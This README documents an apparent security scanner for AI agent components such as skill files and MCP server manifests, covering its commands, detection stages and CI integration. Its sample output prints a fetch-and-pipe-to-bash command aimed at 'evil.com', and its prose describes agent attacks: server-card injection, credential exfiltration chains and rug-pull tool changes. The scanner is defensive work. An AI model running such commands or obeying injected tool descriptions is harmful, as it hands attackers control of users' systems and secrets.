Bawbel Scanner MCP Server

Bawbel Scanner

Agentic AI component security scanner that detects AVE vulnerabilities before they reach production.

Bawbel Scanner scans agentic AI components including SKILL.md files, MCP server manifests, system prompts, and agent plugins for security vulnerabilities mapped to the AVE (Agentic Vulnerability Enumeration) standard.

---

What's new in v1.1.0

bawbel scan-server-card scans MCP servers before your agent connects. It fetches .well-known/mcp.json and scans all tool descriptions at the discovery layer, before any tool call is made. This is the first dedicated scanner for the server-card attack surface.

Toxic flow detection finds when two findings combine into a complete attack chain. A credential-read finding alone is HIGH. Combined with a data-exfil finding it becomes CRITICAL 9.8 and the risk score is elevated automatically. 12 built-in attack chain definitions are included.

bawbel scan-conformance scores MCP server manifests against the spec. It runs 18 checks and returns a grade from A+ to F, split across REQUIRED, RECOMMENDED, and BEST PRACTICE tiers. Works on local files, live servers, and the official MCP registry.

bawbel pin and bawbel check-pins hash skill files and detect rug pulls. Hashes are stored in .bawbel-pins.json committed to git so they are visible in diffs, shared with the team, and work on any machine.

OWASP MCP Top 10 mapping on every finding. All 45 AVE records now include owasp_mcp alongside the existing owasp (ASI) field.

5 new AVE records (41-45) covering the MCP 2026 attack surface: server-card injection, REPL code mode payload injection, MCP App UI payload injection, async task result poisoning, and cross-app-access escalation.

See CHANGELOG.md for the full list.

---

Install

pip install bawbel-scanner

With optional engines:

pip install "bawbel-scanner[yara]"      # Stage 1b: YARA rules (39 rules)
pip install "bawbel-scanner[semgrep]"   # Stage 1c: Semgrep rules (41 rules)
pip install "bawbel-scanner[llm]"       # Stage 2: LLM semantic analysis
pip install "bawbel-scanner[magika]"    # Stage 0: file type verification via Google Magika
pip install "bawbel-scanner[watch]"     # Watch mode: re-scan on file change
pip install "bawbel-scanner[all]"       # Everything: yara + semgrep + llm + magika + watch

Stage 3 (behavioral sandbox) requires Docker. See Stage 3.

---

Quick Start

cp .env.example .env
source .env

bawbel version                                       # show version and active engines
bawbel scan ./my-skill.md                            # scan a file
bawbel scan ./skills/ --recursive                    # scan a directory
bawbel scan-server-card https://api.example.com      # scan an MCP server-card
bawbel ssc https://api.example.com                   # alias for scan-server-card
bawbel report ./my-skill.md                          # full remediation report
bawbel scan ./skills/ --fail-on-severity high        # exit 2 on HIGH+
bawbel scan ./skills/ --watch                        # re-scan on every change
bawbel scan ./skills/ --format json                  # JSON for tooling
bawbel scan ./skills/ --format sarif                 # SARIF for GitHub Security tab
bawbel pin ./skills/                                 # hash skill files to .bawbel-pins.json
bawbel check-pins ./skills/                          # check for rug pull drift
bawbel cp ./skills/                                  # alias for check-pins
bawbel scan-conformance ./server.json                # MCP spec conformance score
bawbel conform ./server.json                         # alias for scan-conformance

Example output:

Bawbel Scanner v1.1.0  ·  github.com/bawbel/bawbel-scanner
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Scanning:  malicious-skill.md
Type:      skill

FINDINGS

🔴  CRITICAL  AVE-2026-00001      External instruction fetch detected
   Line 7  fetch your instructions
   Engine: pattern
   OWASP:     ASI01 (Prompt Injection), ASI08 (Goal Hijacking)
   OWASP MCP: MCP04 (Software Supply Chain Attacks), MCP06 (Intent Flow Subversion)

🟠  HIGH      AVE-2026-00004      Shell pipe injection pattern detected
   Line 12  curl https://evil.com/setup.sh | bash
   Engine: pattern
   OWASP:     ASI01 (Prompt Injection), ASI07 (Tool Abuse)
   OWASP MCP: MCP05 (Command Injection & Execution), MCP06 (Intent Flow Subversion)

TOXIC FLOWS DETECTED
  These findings form complete attack chains.

  ⛓  CRITICAL  Remote Code Execution Chain  CVSS-AI 9.7
  Component fetches instructions from an external URL AND executes shell commands.
  Chain:    external-fetch → command-exec
  AVEs:     AVE-2026-00001, AVE-2026-00004
  OWASP MCP: MCP04 (Software Supply Chain Attacks), MCP05 (Command Injection & Execution)

SUMMARY
Risk score:   9.7 / 10  CRITICAL
Findings:     2
Toxic flows:  1
Scan time:    8ms

---

Scanning MCP Server-Cards

MCP server-cards (.well-known/mcp.json) are the auto-discovery mechanism for MCP 2026. An agent fetches the card on connection and reads all tool descriptions before making a single call, making it a critical attack surface.

bawbel scan-server-card https://api.example.com
bawbel ssc https://api.example.com               # alias

bawbel ssc https://api.example.com --format json
bawbel ssc https://api.example.com --fail-on-severity high

A poisoned server-card injects behavioral instructions into the agent before it makes a single tool call. bawbel scan-server-card is the first dedicated scanner for this attack surface.

---

MCP Spec Conformance Scoring

Conformance scoring checks whether an MCP server follows the spec, independent of whether it contains malicious patterns. A server can be clean but still broken: missing tool descriptions, deprecated transports, HTTP instead of HTTPS, or invalid tool names.

bawbel scan-conformance ./server.json
bawbel conform ./server.json                     # alias

bawbel conform https://api.example.com
bawbel conform ac.tandem/docs-mcp --registry
bawbel conform ./server.json --fail-below 80
bawbel conform ./server.json --fail-non-conformant

18 checks across 3 tiers:

Grading: A+ (95-100), A (90-94), B (80-89), C (70-79), D (60-69), F (below 60)

See MCP Conformance Guide for full documentation.

---

Tool Pinning

A rug pull is when an MCP server or skill file changes its content after you installed and audited it. You scan it today and it is clean. Three weeks later the tool description silently changes to exfiltrate every user query.

bawbel pin hashes your skill files and saves them to .bawbel-pins.json. Commit that file. On every subsequent build, bawbel check-pins detects any hash that has changed since you pinned it.

bawbel scan ./skills/ --recursive    # audit first
bawbel pin ./skills/                 # pin once satisfied
git add .bawbel-pins.json
git commit -m "chore: pin skill files"
bawbel check-pins ./skills/ --fail-on-drift

See Tool Pinning Guide for full documentation.

---

Toxic Flow Detection

Toxic flows are detected attack chains where two or more findings combine into a complete, exploitable attack path.

AVE-2026-00003  credential-read   reads .env / API keys
AVE-2026-00026  data-exfil        encodes and transmits externally

Individually:   HIGH 8.5  +  CRITICAL 9.1
As a chain:     CRITICAL 9.8  Credential Exfiltration Chain

The risk score is elevated to the combined CVSS-AI value automatically. The toxic_flows array appears in JSON output alongside findings.

12 built-in attack chain definitions:

See Toxic Flow Detection Guide for full documentation.

---

False Positive Reduction

Bawbel ships a 5-layer false positive reduction system:

See False Positive Reduction guide for full details.

---

Detection Pipeline

Six stages run in sequence:

45 built-in AVE records covering the full agentic attack surface including goal override, jailbreak, hidden instructions, external fetch, tool call injection, permission escalation, credential exfiltration, PII exfiltration, shell injection, destructive commands, cryptocurrency drain, trust escalation, persistence, MCP tool poisoning, system prompt extraction, RAG injection, MCP server impersonation, memory poisoning, cross-agent A2A injection, lateral movement, vision prompt injection, covert channels, and the new MCP 2026 classes in AVE-2026-00041 through 00045.

---

Stage 2: LLM Semantic Analysis

pip install "bawbel-scanner[llm]"

export ANTHROPIC_API_KEY=sk-ant-...   # auto-selects claude-haiku-4-5-20251001
export OPENAI_API_KEY=sk-...          # auto-selects gpt-4o-mini
export BAWBEL_LLM_MODEL=ollama/mistral  # local model, no API key needed

bawbel scan ./my-skill.md             # Stage 2 activates automatically

---

Stage 3: Behavioral Sandbox

export BAWBEL_SANDBOX_ENABLED=true
bawbel scan ./my-skill.md

Hybrid image strategy: checks local Docker cache first, pulls bawbel/sandbox:latest from Docker Hub, then builds from the bundled Dockerfile as an air-gapped fallback.

BAWBEL_SANDBOX_IMAGE=local
BAWBEL_SANDBOX_IMAGE=registry.corp.com/bawbel/sandbox@sha256:abc

See Detection Engines Guide for full sandbox documentation.

---

Use as a Library

from scanner import scan

result = scan("/path/to/skill.md")

if result.is_clean:
    print("Clean")
else:
    for finding in result.findings:
        print(f"[{finding.severity.value}] {finding.ave_id}  {finding.title}")
        print(f"  Engine: {finding.engine}  CVSS-AI: {finding.cvss_ai}")

    for flow in result.toxic_flows:
        print(f"\n⛓  TOXIC FLOW: {flow.title}  CVSS-AI {flow.cvss_ai}")
        print(f"   Chain: {' > '.join(flow.capabilities)}")

    print(f"\nRisk score: {result.risk_score:.1f} / 10")

# Conformance scoring
from scanner.conformance import score_conformance
import json

manifest = json.load(open("server.json"))
report = score_conformance(manifest)
print(f"Conformance: {report.score:.0f}/100  Grade: {report.grade}")

---

CI/CD Integration

GitHub Actions

name: Bawbel Security Scan
on: [push, pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    permissions:
      security-events: write
      contents: read
    steps:
      - uses: actions/checkout@v4
      - uses: bawbel/bawbel-integrations@v1
        id: bawbel
        with:
          path: .
          fail-on-severity: high
          format: sarif
      - uses: github/codeql-action/upload-sarif@v3
        if: always()
        with:
          sarif_file: ${{ steps.bawbel.outputs.sarif-file }}

VS Code Extension

Install Bawbel Scanner from the VS Code Marketplace. The CLI is installed automatically on first activation. Includes inline diagnostics, status bar, auto-scan on save, and right-click suppression.

Pre-commit

repos:
  - repo: https://github.com/bawbel/bawbel-integrations
    rev: v1
    hooks:
      - id: bawbel-scan

See bawbel/bawbel-integrations for GitLab CI, Jenkins, CircleCI, Azure DevOps, and Bitbucket examples.

---

Configuration

---

Suppression

Suppressed findings are never deleted. They appear in suppressed_findings in JSON output for a full audit trail.

Inline suppression on the finding line:

fetch https://internal.co  

File and directory suppression via .bawbelignore:

tests/fixtures/**
docs/examples/bad.md

Audit mode to bypass all suppressions:

bawbel scan ./skills/ --no-ignore

See Suppression Guide for full documentation.

---

AVE Standard

Every finding maps to a published AVE record, the CVE equivalent for agentic AI.

• Browse records: github.com/bawbel/bawbel-ave
• Threat intelligence API: api.piranha.bawbel.io
• Report a vulnerability: open an issue on bawbel-ave

---

Documentation

---

License

Apache 2.0. See LICENSE.

Built by Bawbel · bawbel.io@gmail.com